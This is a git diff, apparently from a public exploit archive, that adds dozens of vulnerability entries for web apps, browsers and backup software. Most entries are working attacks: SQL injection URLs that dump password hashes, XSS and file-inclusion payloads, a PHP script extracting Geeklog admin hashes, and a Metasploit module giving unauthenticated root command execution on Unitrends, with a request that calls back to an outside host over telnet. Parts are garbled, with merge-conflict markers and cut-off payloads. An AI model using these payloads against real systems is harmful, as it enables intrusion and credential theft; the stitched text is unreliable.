Tested On : FireFox <= 2.0.0.20 Fully Update
Note : If the browser alert for print choose cancel
Author : b3hz4d (Seyed Behzad Shaghasemi)
Site : Www.DeltaHacking.Net
Date : 3 Mar 2009
Contact: behzad_sh_66@yahoo.com
Special Thanks To : Str0ke, Dr.trojan, Cru3l.b0y, PLATEN, Bl4ck.Viper, Irsdl And all Iranian hackers
\ No newline at end of file diff --git a/platforms/multiple/dos/32865.py b/platforms/multiple/dos/32865.py new file mode 100755 index 000000000..0c3e7f717 --- /dev/null +++ b/platforms/multiple/dos/32865.py @@ -0,0 +1,118 @@ +#!/usr/bin/python +#-*- coding: utf-8 -* + +# Title: WhatsApp Remote Crash on non-printable characters +# Product: WhatsApp +# Vendor Homepage: http://www.whatsapp.com +# Vulnerable Version(s): 2.11.7 and prior on iOS +# Tested on: WhatsApp v2.11.7 on iPhone 5 running iOS 7.0.4 +# Solution Status: Fixed by Vendor on v2.11.8 +# Date: 8/04/2014 +# +# Authors: +# Jaime Sánchez @segofensiva
Module : PHORTAIL 1.2.1 download : http://www.phpscripts-fr.net/scripts/download.php?id=330 Vul : XSS Vulnerability file : poster.php Author : Jonathan Salwan Mail : submit [AT] shell-storm.org Web : http://www.shell-storm.org
\ No newline at end of file diff --git a/platforms/php/webapps/32846.txt b/platforms/php/webapps/32846.txt new file mode 100755 index 000000000..b84e17b09 --- /dev/null +++ b/platforms/php/webapps/32846.txt @@ -0,0 +1,10 @@ +source: http://www.securityfocus.com/bid/34067/info + +Nenriki CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +Nenriki CMS 0.5 is vulnerable; other versions may also be affected. + +javascript:document.cookie ="password=1; path=/" then +javascript:document.cookie ="ID=' union select 0,0,0,concat(id,name,char(58),password),0,0 from users--; path=/" \ No newline at end of file diff --git a/platforms/php/webapps/32852.txt b/platforms/php/webapps/32852.txt new file mode 100755 index 000000000..3ba8427e8 --- /dev/null +++ b/platforms/php/webapps/32852.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/34105/info + +TikiWiki is prone to a cross-site scripting vulnerability. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. + +TikiWiki 2.2 through 3.0 beta1 are vulnerable. + +http://www.example.com/tiki-galleries.php/>"> \ No newline at end of file diff --git a/platforms/php/webapps/32853.txt b/platforms/php/webapps/32853.txt new file mode 100755 index 000000000..5190a760f --- /dev/null +++ b/platforms/php/webapps/32853.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/34106/info + +TikiWiki is prone to a cross-site scripting vulnerability. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. + +TikiWiki 2.2 through 3.0 beta1 are vulnerable. + +http://www.example.com/tiki-list_file_gallery.php/>"> \ No newline at end of file diff --git a/platforms/php/webapps/32854.txt b/platforms/php/webapps/32854.txt new file mode 100755 index 000000000..2cd18a88e --- /dev/null +++ b/platforms/php/webapps/32854.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/34107/info + +TikiWiki is prone to a cross-site scripting vulnerability. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials. + +TikiWiki 2.2 through 3.0 beta1 are vulnerable. + +http://www.example.com/tiki-listpages.php/>"> \ No newline at end of file diff --git a/platforms/php/webapps/32861.txt b/platforms/php/webapps/32861.txt new file mode 100755 index 000000000..f2eed0032 --- /dev/null +++ b/platforms/php/webapps/32861.txt @@ -0,0 +1,11 @@ +[+] Local File Inclusion in WordPress Theme LineNity +[+] Date: 13/04/2014 +[+] Risk: High +[+] Author: Felipe Andrian Peixoto +[+] Vendor Homepage: http://themeforest.net/item/linenity-clean-responsive-wordpress-magazine/4417803 +[+] Contact: felipe_andrian@hotmail.com +[+] Tested on: Windows 7 and Linux +[+] Vulnerable File: download.php +[+] Exploit : http://host/wp-content/themes/linenity/functions/download.php?imgurl=[ Local File Inclusion ] +[+] PoC: http://localhost/wp-content/themes/linenity/functions/download.php?imgurl=../../../../index.php + http://localhost/wordpress/wp-content/themes/linenity/functions/download.php?imgurl=../../../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/32867.txt b/platforms/php/webapps/32867.txt new file mode 100755 index 000000000..0a667ef49 --- /dev/null +++ b/platforms/php/webapps/32867.txt @@ -0,0 +1,61 @@ +Details +================ +Software: Quick Page/Post Redirect Plugin +Version: 5.0.3 +Homepage: http://wordpress.org/plugins/quick-pagepost-redirect-plugin/ +Advisory ID: dxw-1970-1091 +CVE: CVE-2014-2598 +CVSS: 6.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:P) + +Description +================ +CSRF and stored XSS in Quick Page/Post Redirect Plugin + +Vulnerability +================ +This plugin is vulnerable to a combination CSRF/XSS attack meaning that if an admin user can be persuaded to visit a URL of the attacker’s choosing (via spear phishing for instance), the attacker can insert arbitrary JavaScript into an admin page. Once that occurs the admin’s browser can be made to do almost anything the admin user could typically do such as create/delete posts, create new admin users, or even exploit vulnerabilities in other plugins. + +Proof of concept +================ +Use the following form to introduce potentially malicious JavaScript: + + +Mitigations +================ +Upgrade to version 5.0.5 or later. + +Disclosure policy +================ +dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ + +Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. + +This vulnerability will be published if we do not receive a response to this report with 14 days. + +Timeline +================ + +2014-03-21: Discovered +2014-03-24: Reported to plugins@wordpress.org +2014-04-07: No response; requested an alternative email address using the author’s contact form. +2014-04-08: Re-reported direct to author +2014-04-08: Author responded, and publication agreed on or before 2014-05-06 +2014-04-10: Author reports issue fixed in version 5.0.5 + +<<<<<<< HEAD + +Discovered by dxw: +================ +Tom Adams +======= + +Discovered by dxw: +================ +Tom Adams +>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464 +Please visit security.dxw.com for more information. \ No newline at end of file diff --git a/platforms/php/webapps/32868.txt b/platforms/php/webapps/32868.txt new file mode 100755 index 000000000..34b18aa4b --- /dev/null +++ b/platforms/php/webapps/32868.txt @@ -0,0 +1,57 @@ +Details +================ +Software: Twitget +Version: 3.3.1 +Homepage: http://wordpress.org/plugins/twitget/ +Advisory ID: dxw-1970-435 +CVE: CVE-2014-2559 +CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N) + +Description +================ +CSRF/XSS vulnerability in Twitget 3.3.1 + +Vulnerability +================ +If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file. + +Proof of concept +================ + + +Mitigations +================ +Upgrade to version 3.3.3 or later. + +Disclosure policy +================ +dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ + +Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. + +This vulnerability will be published if we do not receive a response to this report with 14 days. + +Timeline +================ + +2013-07-30: Discovered +2014-03-18: Reported to plugins@wordpress.org +2014-04-09: Author reports fixed in version 3.3.3. + +<<<<<<< HEAD + +Discovered by dxw: +================ +Tom Adams +======= + +Discovered by dxw: +================ +Tom Adams +>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464 +Please visit security.dxw.com for more information. + \ No newline at end of file diff --git a/platforms/php/webapps/32871.txt b/platforms/php/webapps/32871.txt new file mode 100755 index 000000000..9a51d76f7 --- /dev/null +++ b/platforms/php/webapps/32871.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/34193/info + +ExpressionEngine is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. + +Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. + +ExpressionEngine 1.6.4 through 1.6.6 are affected. Other versions may also be vulnerable. + +chococat.gif">
52%23
\ No newline at end of file
diff --git a/platforms/php/webapps/32875.txt b/platforms/php/webapps/32875.txt
new file mode 100755
index 000000000..ed92cdebf
--- /dev/null
+++ b/platforms/php/webapps/32875.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/34232/info
+
+Comparison Engine Power is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Comparison Engine Power 1.0 is vulnerable; other versions may also be affected.
+
+http://www.example.com/comparisonengine/product.comparision.php?cat=null union all select 1,concat_ws(0x3a,id,email,password,nickname),3,4,5 from daype_users_tb--&name=GSM
\ No newline at end of file
diff --git a/platforms/php/webapps/32880.txt b/platforms/php/webapps/32880.txt
new file mode 100755
index 000000000..c85f482d4
--- /dev/null
+++ b/platforms/php/webapps/32880.txt
@@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/34324/info
+
+Turnkey eBook Store is prone to a cross-site scripting vulnerability.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials.
+
+Turnkey eBook Store 1.1 is vulnerable; other versions may also be affected.
+
+http://www.example.com/index.php?cmd=search&keywords=">
+http://www.example.com/index.php?cmd=search&keywords=
\ No newline at end of file
diff --git a/platforms/php/webapps/32887.txt b/platforms/php/webapps/32887.txt
new file mode 100755
index 000000000..5cf04f4a8
--- /dev/null
+++ b/platforms/php/webapps/32887.txt
@@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/34348/info
+
+osCommerce is prone to a session-fixation vulnerability.
+
+Attackers can exploit this issue to hijack a user's session and gain unauthorized access to the affected application.
+
+The following are vulnerable:
+
+osCommerce 2.2
+osCommerce 3.0 Beta
+
+Other versions may also be affected.
+
+http://www.example.com/myapp/index.php?oscid=arbitrarysession
\ No newline at end of file
diff --git a/platforms/php/webapps/32889.txt b/platforms/php/webapps/32889.txt
new file mode 100755
index 000000000..a7003b693
--- /dev/null
+++ b/platforms/php/webapps/32889.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/34355/info
+
+4CMS is prone to multiple SQL-injection vulnerabilities and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+Exploiting the SQL-injection issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+The attacker can exploit the local file-include issue to execute arbitrary local script code and obtain sensitive information that may aid in further attacks.
+
+http://www.example.com/frontend/article.php?aid=-9999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users--
+http://www.example.com/frontend/articles.php?cid=-999+union+all+select+1,2,concat(username,char(58),password),4,5,6,7,8,9,10+from+users--
+http://www.example.com/frontend/index.php?chlang=../../../../etc/services%00
\ No newline at end of file
diff --git a/platforms/php/webapps/32905.txt b/platforms/php/webapps/32905.txt
new file mode 100755
index 000000000..bcd4b4ed0
--- /dev/null
+++ b/platforms/php/webapps/32905.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/34500/info
+
+LinPHA is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
+
+Attackers can leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help attackers steal cookie-based authentication credentials and launch other attacks.
+
+Versions prior to LinPHA 1.3.4 are vulnerable.
+
+http://www.example.com/linpha-1.3.2/login.php?ref='>
\ No newline at end of file
diff --git a/platforms/php/webapps/32906.txt b/platforms/php/webapps/32906.txt
new file mode 100755
index 000000000..17fbd5c1c
--- /dev/null
+++ b/platforms/php/webapps/32906.txt
@@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/34500/info
+
+LinPHA is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
+
+Attackers can leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help attackers steal cookie-based authentication credentials and launch other attacks.
+
+Versions prior to LinPHA 1.3.4 are vulnerable.
+
+http://www.example.com/test/linpha-1.3.2/new_images.php?order=%22%3Cscript%3Ealert(1)%3C/script%3E
+http://www.example.com/test/linpha-1.3.2/new_images.php?pn=%22%3Cscript%3Ealert(1)%3C/script%3E
\ No newline at end of file
diff --git a/platforms/php/webapps/32910.txt b/platforms/php/webapps/32910.txt
new file mode 100755
index 000000000..9f0ad5295
--- /dev/null
+++ b/platforms/php/webapps/32910.txt
@@ -0,0 +1,10 @@
+source: http://www.securityfocus.com/bid/34551/info
+
+Phorum is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
+
+An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
+
+Phorum 5.2.10 and 5.2-dev are vulnerable; other versions may also be affected.
+
+http://www.example.com/phorum-5.2.10/admin.php?module=badwords&curr=1">![]()
![]()
",
+location="http://www.victim.com/phorum-5.2.10/versioncheck.php";
\ No newline at end of file
diff --git a/platforms/php/webapps/32914.php b/platforms/php/webapps/32914.php
new file mode 100755
index 000000000..0efd4a242
--- /dev/null
+++ b/platforms/php/webapps/32914.php
@@ -0,0 +1,97 @@
+source: http://www.securityfocus.com/bid/34553/info
+
+Geeklog is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
+
+Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
+
+Geeklog 1.5.2 and earlier are vulnerable.
+
+tmp); $i++) {
+ $tmp_i = explode(";", $tmp[$i]);
+ $cookies .= $tmp_i[0]."; ";
+ }
+ if (stripos ($cookies, "\x70\x61\x73\x73\x77\x6f\x72\x64")) {
+ return $cookies;
+ } else {
+ die("[*] Unable to login!");
+ }
+
+ }
+
+ function xtrct_prefix() {
+ global $host, $port, $path, $cookies, $url;
+ $out = _s($url, $cookies, 0, "");
+ $tmp = explode("\x62\x6c\x6f\x63\x6b\x73\x5b\x5d", $out);
+ if (count($tmp) < 2) {
+ die("[!] Not logged in!");
+ }
+ $tmp = explode("\x22", $tmp[0]);
+ $prefix = $tmp[count($tmp)-1];
+ return $prefix;
+ }
+
+ function is_checked() {
+ global $host, $port, $path, $cookies, $url;
+ $out = _s($url, $cookies, 0, "");
+ $tmp = explode("\x62\x6c\x6f\x63\x6b\x73\x5b\x5d", $out);
+ $tmp = explode("\x3e", $tmp[1]);
+ $s = $tmp[0];
+ if (stripos ($s, "\x22\x63\x68\x65\x63\x6b\x65\x64\x22")) {
+ return 1;
+ } else {
+ return 0;
+ }
+ }
+
+ if (!$_use_ck) {
+ $cookies = login();
+ }
+
+ $url = "http://$host:$port".$path."usersettings.php";
+ $prefix = xtrct_prefix();
+ print "[*] prefix->'".$prefix."'\n";
+
+ if (!$_skiptest) {
+ run_test();
+ }
+ if ($_test) {
+ die;
+ }
+
+ #uncheck all boxes
+ $rst_sql = "0) AND 0 UNION SELECT 1,0x61646d696e5f626c6f636b FROM ".$prefix."users WHERE
+".$where." LIMIT 1/*";
+ $out = _s($url, $cookies, 1, "mode=savepreferences&".$prefix."blocks[0]=".urlencode($rst_sql)."&");
+ #then start extraction
+ $c = array();
+ $c = array_merge($c, range(0x30, 0x39));
+ $c = array_merge($c, range(0x61, 0x66));
+ $url = "http://$host:$port".$path;
+ $_hash = "";
+ print ("[*] Initiating hash extraction ...\n");
+ for ($j = 1; $j < 0x21; $j++) {
+ for ($i = 0; $i <= 0xff; $i++) {
+ $f = false;
+ if (in_array($i, $c)) {
+ $sql = "0) AND 0 UNION SELECT 1,IF(ASCII(SUBSTR(passwd FROM $j FOR
+1))=$i,1,0x61646d696e5f626c6f636b) FROM ".$prefix."users WHERE ".$where." LIMIT 1/*";
+ $url = "http://$host:$port".$path."usersettings.php";
+ $out = _s($url, $cookies, 1,
+"mode=savepreferences&".$prefix."blocks[0]=".urlencode($sql)."&");
+ if (is_checked()) {
+ $f = true;
+ $_hash .= chr($i);
+ print "[*] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n";
+ #if found , uncheck again
+ $out = _s($url, $cookies, 1,
+"mode=savepreferences&".$prefix."blocks[0]=".urlencode($rst_sql)."&");
+ break;
+ }
+ }
+ }
+ if ($f == false) {
+ die("\n[!] Unknown error ...");
+ }
+ }
+ print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n";
+?>
diff --git a/platforms/unix/remote/32811.txt b/platforms/unix/remote/32811.txt
new file mode 100755
index 000000000..f51bbe5eb
--- /dev/null
+++ b/platforms/unix/remote/32811.txt
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/33880/info
+
+Adobe Flash Player is prone to a remote code-execution vulnerability.
+
+An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the application. Failed exploit attempts will likely crash the application, denying service to legitimate users.
+
+Versions prior to Flash Player 10.0.12.36 are vulnerable.
+
+http://www.exploit-db.com/sploits/32811.rar
\ No newline at end of file
diff --git a/platforms/unix/remote/32885.rb b/platforms/unix/remote/32885.rb
new file mode 100755
index 000000000..047f984f5
--- /dev/null
+++ b/platforms/unix/remote/32885.rb
@@ -0,0 +1,101 @@
+Unitrends Enterprise Backup 7.3.0
+
+Multiple vulnerabilities exist within this piece of software. The largest one is likely the fact that the ‘auth’ string used for authorization isn’t random at all. After authentication, any requests made by the browser send no cookies and only check this ‘auth’ param, which is completely insufficient. Because of this, unauthenticated users can know what the ‘auth’ parameter should be and make requests as the ‘root’ user.
+
+Unauthenticated root RCE
+Because the ‘auth’ variable is not random, an unauthenticated user can post a specially crafted request to the /recoveryconsole/bpl/snmpd.php PHP script. This script does not sanitize the SNMP community string properly which allows the user to execute remote commands as the root user. A metasploit module that exploits this has been given alongside this report. Below is the actual request. To recreate, after authentication, click on Settings -> Clients, Networking, and Notifications -> SNMP and Modify the ‘notpublic’ entry to contain bash metacharacters.
+
+POST /recoveryconsole/bpl/snmpd.php?type=update&sid=1&comm=notpublic`telnet+172.31.16.166+4444`&enabled=1&rx=4335379&ver=7.3.0&gcv=0 HTTP/1.1
+Host: 172.31.16.99
+User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Connection: keep-alive
+Referer: https://172.31.16.99/recoveryconsole/bpria/bin/bpria.swf?vsn=7.3.0
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 58
+
+auth=1%3A%2Fusr%2Fbp%2Flogs%2Edir%2Fgui%5Froot%2Elog%3A100
+
+-----------------------------------
+
+Metasploit module:
+
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Unitrends Unauthenticated Root RCE",
+ 'Description' => %q{
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Brandon Perry ' #discovery/metasploit module
+ ],
+ 'References' =>
+ [
+ ],
+ 'Platform' => ['unix'],
+ 'Arch' => ARCH_CMD,
+ 'Targets' =>
+ [
+ ['Unitrends Enterprise Backup 7.3.0', {}]
+ ],
+ 'Privileged' => true,
+ 'Payload' =>
+ {
+ 'DisableNops' => true,
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'python telnet netcat perl'
+ }
+ },
+ 'DisclosureDate' => "Mar 21 2014",
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ Opt::RPORT(443),
+ OptBool.new('SSL', [true, 'Use SSL', true]),
+ OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
+ ], self.class)
+ end
+
+ def exploit
+
+ pay = Rex::Text.encode_base64(payload.encoded)
+ get = {
+ 'type' => 'update',
+ 'sid' => '1',
+ 'comm' => 'notpublic`echo '+pay+'|base64 --decode|sh`',
+ 'enabled' => '1',
+ 'rx' => '4335379',
+ 'ver' => '7.3.0',
+ 'gcv' => '0'
+ }
+
+ post = {
+ 'auth' => '1:/usr/bp/logs.dir/gui_root.log:100'
+ }
+
+ send_request_cgi({
+ 'uri' => normalize_uri(target_uri.path, 'recoveryconsole', 'bpl', 'snmpd.php'),
+ 'vars_get' => get,
+ 'vars_post' => post,
+ 'method' => 'POST'
+ })
+
+ end
+end
diff --git a/platforms/unix/remote/32890.txt b/platforms/unix/remote/32890.txt
new file mode 100755
index 000000000..b831534d4
--- /dev/null
+++ b/platforms/unix/remote/32890.txt
@@ -0,0 +1,7 @@
+source: http://www.securityfocus.com/bid/34383/info
+
+The Apache 'mod_perl' module is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+http://www.example.com/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E
\ No newline at end of file
diff --git a/platforms/windows/dos/32706.txt b/platforms/windows/dos/32706.txt
index 959e0c747..21c29c351 100755
--- a/platforms/windows/dos/32706.txt
+++ b/platforms/windows/dos/32706.txt
@@ -1,4 +1,4 @@
-# Exploit Title: Notepad++ - DSpellCheck plugin[DOS]
+# Exploit Title: Notepad++ - DSpellCheck v1.2.12.0 plugin[DOS]
# Exploit Author: sajith
# Vendor Homepage: http://notepad-plus-plus.org/
# Software Link: http://notepad-plus-plus.org/download/
diff --git a/platforms/windows/dos/32824.pl b/platforms/windows/dos/32824.pl
new file mode 100755
index 000000000..1e2963fd9
--- /dev/null
+++ b/platforms/windows/dos/32824.pl
@@ -0,0 +1,26 @@
+source: http://www.securityfocus.com/bid/33934/info
+
+Internet Download Manager (IDM) is prone to a remote buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.
+
+An attacker may exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
+
+This issue affects IDM 5.15 Build 3; other versions may also be vulnerable.
+
+#Internet Download Manager v.5.15 Build 3 (4 December)
+#Works on Vista
+#HellCode Labs || TCC Group || http://tcc.hellcode.net
+#Bug was found by "musashi" aka karak0rsan
+[musashi@hellcode.net]
+#thanx to murderkey
+$file="idm_tr.lng";
+$lng= "lang=0x1f Türkçe";
+$buffer = "\x90" x 1160;
+$eip = "AAAA";
+$toolbar = "20376=";
+$packet=$toolbar.$buffer.$eip;
+open(file, '>' . $file);
+print file $lng;
+print file "\n";
+print file $packet;
+close(file);
+print "File has created!\n";
diff --git a/platforms/windows/dos/32881.py b/platforms/windows/dos/32881.py
new file mode 100755
index 000000000..66ceb7f2a
--- /dev/null
+++ b/platforms/windows/dos/32881.py
@@ -0,0 +1,187 @@
+source: http://www.securityfocus.com/bid/34327/info
+
+QtWeb browser is prone to a remote denial-of-service vulnerability.
+
+Attackers can exploit this issue to crash the affected application, denying service to legitimate users.
+
+QtWeb 2.0 is vulnerable; other versions may also be affected.
+
+
+ $S="\x3C\x68\x74\x6D\x6C\x3E\x0D\x0A".
+ "\x3C\x74\x69\x74\x6C\x65\x3E\x51\x74\x57\x65\x62".
+ "\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x42\x72\x6F\x77\x73\x65".
+ "\x72\x20\x32". "\x2E\x30\x20".
+ "\x28\x62". "\x75\x69".
+ "\x6C\x64". "\x20\x30".
+ "\x34\x33". "\x29\x20".
+ "\x52\x65". "\x6D\x6F".
+ "\x74\x65". "\x20\x44".
+ "\x65\x6E". "\x69\x61".
+ "\x6C\x20". "\x6F\x66".
+ "\x20\x53". "\x65\x72".
+ "\x76\x69". "\x63\x65".
+ "\x20\x45". "\x78\x70".
+ "\x6C\x6F". "\x69\x74". "\x3C\x2F". "\x54\x69".
+ "\x74\x6C". "\x65". "\x3E". "\x0D". "\x0A". "\x3C\x68".
+ "\x65\x61". "\x64". "\x3E". "\x3C". "\x62". "\x6F\x64".
+ "\x79\x3E". "\x3C". "\x73". "\x63". "\x72". "\x69\x70".
+ "\x74\x20". "\x74\x79".
+ "\x70\x65". "\x3D\x22".
+ "\x74\x65". "\x78\x74".
+ "\x2F\x6A". "\x61\x76".
+ "\x61\x73". "\x63\x72".
+ "\x69\x70". "\x74\x22".
+ "\x3E\x0D". "\x0A\x61".
+ "\x6C\x65". "\x72\x74".
+ "\x28\x22". "\x51\x74".
+ "\x57\x65". "\x62\x20".
+ "\x49\x6E". "\x74\x65".
+ "\x72\x6E". "\x65\x74".
+ "\x20\x42". "\x72\x6F".
+ "\x77\x73". "\x65\x72".
+ "\x20\x32". "\x2E\x30".
+ "\x20\x28". "\x62". "\x75". "\x69\x6C".
+ "\x64\x20". "\x30". "\x34". "\x33\x29".
+ "\x20\x52". "\x65". "\x6D". "\x6F\x74".
+ "\x65\x20". "\x44". "\x65". "\x6E\x69".
+ "\x61\x6C". "\x20". "\x6F". "\x66\x20".
+ "\x53\x65". "\x72". "\x76". "\x69\x63".
+ "\x65\x20". "\x45". "\x78". "\x70\x6C".
+ "\x6F\x69". "\x74". "\x5C". "\x6E\x5C".
+ "\x6E\x5C". "\x74". "\x5C". "\x74\x5C".
+ "\x74\x62". "\x79". "\x20". "\x4C\x69".
+ "\x71\x75". "\x69". "\x64". "\x57\x6F".
+ "\x72\x6D". "\x20". "\x28". "\x63\x29".
+ "\x20\x32". "\x30". "\x30". "\x39\x22".
+ "\x29\x3B". "\x0D\x0A\x66". "\x75\x6E".
+ "\x63\x74". "\x69\x6F".
+ "\x6E\x20". "\x64\x6F".
+ "\x7A\x28". "\x29\x20".
+ "\x7B\x0D". "\x0A\x74".
+ "\x69\x74". "\x6C\x65".
+
+ "\x71\x75". "\x69". "\x64". "\x57\x6F".
+ "\x72\x6D". "\x20". "\x28". "\x63\x29".
+ "\x20\x32". "\x30". "\x30". "\x39\x22".
+ "\x29\x3B". "\x0D\x0A\x66". "\x75\x6E".
+ "\x63\x74". "\x69\x6F".
+ "\x6E\x20". "\x64\x6F".
+ "\x7A\x28". "\x29\x20".
+ "\x7B\x0D". "\x0A\x74".
+ "\x69\x74". "\x6C\x65".
+ "\x3D\x22". "\x48\x6F".
+ "\x74\x20". "\x49\x63".
+ "\x65\x22". "\x3B\x0D".
+ "\x0A\x75". "\x72\x6C".
+ "\x3D\x22". "\x68\x74".
+ "\x74\x70\x3A". "\x2F\x2F\x77".
+ "\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x2F".
+ "\x22\x3B\x0D\x0A\x69\x66\x20\x28\x77\x69\x6E\x64".
+ "\x6F\x77\x2E\x73\x69\x64\x65\x62";$M=
+
+
+
+
+ "\x61". "\x72" ."\x29". "\x20".
+ "\x7B". "\x0D" ."\x0A". "\x77". "\x69".
+ "\x6E"."\x64". "\x6F". "\x77". "\x2E".
+ "\x73". "\x69". "\x64". "\x65".
+ "\x62". "\x61". "\x72". "\x2E".
+ "\x61". "\x64". "\x64". "\x50".
+ "\x61". "\x6E". "\x65". "\x6C".
+ "\x28". "\x74". "\x69". "\x74".
+ "\x6C". "\x65". "\x2C". "\x20".
+ "\x75". "\x72". "\x6C". "\x2C".
+ "\x22". "\x22". "\x29". "\x3B".
+ "\x0D". "\x0A"."\x7D".
+ "\x20". "\x65". "\x6C".
+ "\x73";
+
+ $I="\x65\x20\x69\x66\x28\x20\x77".
+ "\x69\x6E\x64\x6F\x77".
+ "\x2E\x65\x78\x74\x65\x72\x6E".
+ "\x61\x6C\x20\x29\x20". ##############
+ "\x7B\x0D\x0A\x77\x69\x6E\x64". ## #
+ "\x6F\x77\x2E\x65"."\x78". ######
+ "\x74\x65\x72\x6E\x61". ########## _ _ _
+ "\x6C\x2E\x41\x64\x64\x46\x61\x76\x6F\x72\x69". #==---- #==---- #==----
+ "\x74\x65\x28\x20\x75".
+ "\x72\x6C\x2C\x20\x74". ##===*
+ "\x69\x74\x6C\x65\x29\x3B\x0D".
+ "\x0A\x7D\x20\x65\x6C".
+ "\x73\x65\x20\x69\x66\x28\x77".
+ "\x69\x6E\x64\x6F\x77".
+ "\x2E\x6F\x70\x65\x72\x61\x20";
+ ####################
+
+
+ $L="\x26\x26\x20\x77\x69\x6E\x64\x6F\x77\x2E".
+ "\x70\x72\x69\x6E\x74\x29\x20\x7B".
+ "\x20\x0D\x0A\x72\x65\x74".
+ "\x75\x72\x6E\x20".
+ "\x28\x74\x72".
+ "\x75\x65".
+ "\x29".
+ "\x3B".
+ "\x20\x7D".
+ "\x7D\x0D\x0A".
+ "\x76\x61\x72\x20".
+ "\x61\x73\x6B\x20\x3D\x20".
+ "\x63\x6F\x6E\x66\x69\x72\x6D\x28".
+ "\x22\x50\x72\x65\x73\x73\x20\x4F\x4B\x20".
+ "\x74\x6F\x20\x73\x74\x61\x72\x74".
+ "\x20\x74\x68\x65\x20\x44".
+ "\x6F\x53\x2E\x5C".
+ "\x6E\x50\x72".
+ "\x65\x73".
+ "\x73".
+ "\x20".
+ "\x4E\x6F".
+ "\x20\x74\x6F".
+ "\x20\x64\x6F\x64".
+ "\x67\x65\x20\x74\x68\x65".
